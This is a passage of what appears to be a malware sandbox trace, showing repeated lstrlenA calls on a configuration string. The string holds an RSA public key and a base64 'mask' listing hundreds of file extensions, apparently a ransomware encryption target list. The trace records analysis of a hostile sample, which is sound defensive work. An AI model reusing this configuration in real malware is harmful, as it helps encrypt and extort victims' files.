ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.401] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg